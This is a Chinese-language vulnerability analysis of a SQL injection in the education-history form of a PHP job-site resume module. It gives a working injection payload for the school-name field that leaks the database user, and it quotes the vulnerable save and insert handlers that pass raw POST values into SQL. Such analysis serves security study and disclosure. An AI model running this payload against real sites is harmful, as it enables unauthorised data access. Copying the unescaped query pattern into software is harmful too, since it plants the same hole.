黑盒测试: 在个人中心->创建个人简历->教育经历->学校名称处,插入如下代码进行注入 xiaosedi',address=user()# 查看该简历时, 联系的地址替换为了:root@localhost 学校名称处:xiaosedi',address=user() 通过这种方式控制了联系地址的展示我们需要的单个信息。
白盒测试 抓包发现地址后面出现:save_resume_education_edit 找到save_resume_education_edit的位置 elseif ($act=='save_resume_education_edit') { $id=trim($_POST['id'])?$_POST['id']:showmsg('参数错误!',1); $setsqlarr['start']=trim($_POST['start'])?$_POST['start']:showmsg('请填写开始时间!',1,$link); $setsqlarr['endtime']=trim($_POST['endtime'])?$_POST['endtime']:showmsg('请填写结束时间!',1,$link); $setsqlarr['school']=trim($_POST['school'])?$_POST['school']:showmsg('请填写学校名称!',1,$link); $setsqlarr['speciality']=trim($_POST['speciality'])?$_POST['speciality']:showmsg('请填写专业名称!',1,$link); $setsqlarr['education']=trim($_POST['education'])?$_POST['education']:showmsg('请选择获得学历!',1,$link); $setsqlarr['education_cn']=trim($_POST['education_cn'])?$_POST['education_cn']:showmsg('请选择获得学历!',1,$link); if (updatetable(table('resume_education'),$setsqlarr," id='{$id}' AND uid='{$_SESSION['uid']}'")) { if ($_POST['go_resume_show']) { header("Location: ?act=resume_show&pid={$_REQUEST['pid']}"); } else { $link[0]['text'] = "返回上一页"; $link[0]['href'] = "?act=make4&pid={$_REQUEST['pid']}"; check_resume($_SESSION['uid'],intval($_REQUEST['pid'])); showmsg("修改成功!",2,$link); } } else { showmsg("保存失败!",0,$link); } }
还有一种是新创建的make4,也就是新创建简历时的代码: elseif ($act=='make4_save') { $resume_education=get_resume_education($_SESSION['uid'],$_REQUEST['pid']); if (count($resume_education)>=6) showmsg('教育经历不能超过6条!',1,$link); $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['pid']=intval($_REQUEST['pid']); if ($setsqlarr['uid']==0 || $setsqlarr['pid']==0 ) showmsg('参数错误!',1); $setsqlarr['start']=trim($_POST['start'])?$_POST['start']:showmsg('请填写开始时间!',1,$link); $setsqlarr['endtime']=trim($_POST['endtime'])?$_POST['endtime']:showmsg('请填写结束时间!',1,$link); $setsqlarr['school']=trim($_POST['school'])?$_POST['school']:showmsg('请填写学校名称!',1,$link); $setsqlarr['speciality']=trim($_POST['speciality'])?$_POST['speciality']:showmsg('请填写专业名称!',1,$link); $setsqlarr['education']=trim($_POST['education'])?$_POST['education']:showmsg('请选择获得学历!',1,$link); $setsqlarr['education_cn']=trim($_POST['education_cn'])?$_POST['education_cn']:showmsg('请选择获得学历!',1,$link); if (inserttable(table('resume_education'),$setsqlarr)) { check_resume($_SESSION['uid'],intval($_REQUEST['pid'])); if ($_POST['go_resume_show']) { header("Location: ?act=resume_show&pid={$setsqlarr['pid']}"); } else { $link[0]['text'] = "继续添加教育经历"; $link[0]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']); $link[1]['text'] = "跳到下一步"; $link[1]['href'] = '?act=make5&pid='.intval($_REQUEST['pid']); $link[2]['text'] = "查看我的教育经历"; $link[2]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']); showmsg("添加成功,您可以继续添加教育经历或跳到下一步 ",2,$link,true,15); } } else { showmsg("保存失败!",0,$link); } }
|